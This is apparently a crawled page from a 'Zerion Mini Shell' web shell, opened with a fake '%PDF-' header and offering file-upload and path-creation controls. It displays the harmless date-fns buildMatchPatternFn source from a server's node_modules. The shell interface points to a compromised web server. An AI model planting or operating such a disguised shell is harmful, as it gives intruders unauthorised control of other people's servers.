%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/date-fns/locale/_lib/buildMatchPatternFn/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/date-fns/locale/_lib/buildMatchPatternFn/index.js

"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = buildMatchPatternFn;

function buildMatchPatternFn(args) {
  return function (string) {
    var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
    var matchResult = string.match(args.matchPattern);
    if (!matchResult) return null;
    var matchedString = matchResult[0];
    var parseResult = string.match(args.parsePattern);
    if (!parseResult) return null;
    var value = args.valueCallback ? args.valueCallback(parseResult[0]) : parseResult[0];
    value = options.valueCallback ? options.valueCallback(value) : value;
    var rest = string.slice(matchedString.length);
    return {
      value: value,
      rest: rest
    };
  };
}

module.exports = exports.default;

Zerion Mini Shell 1.0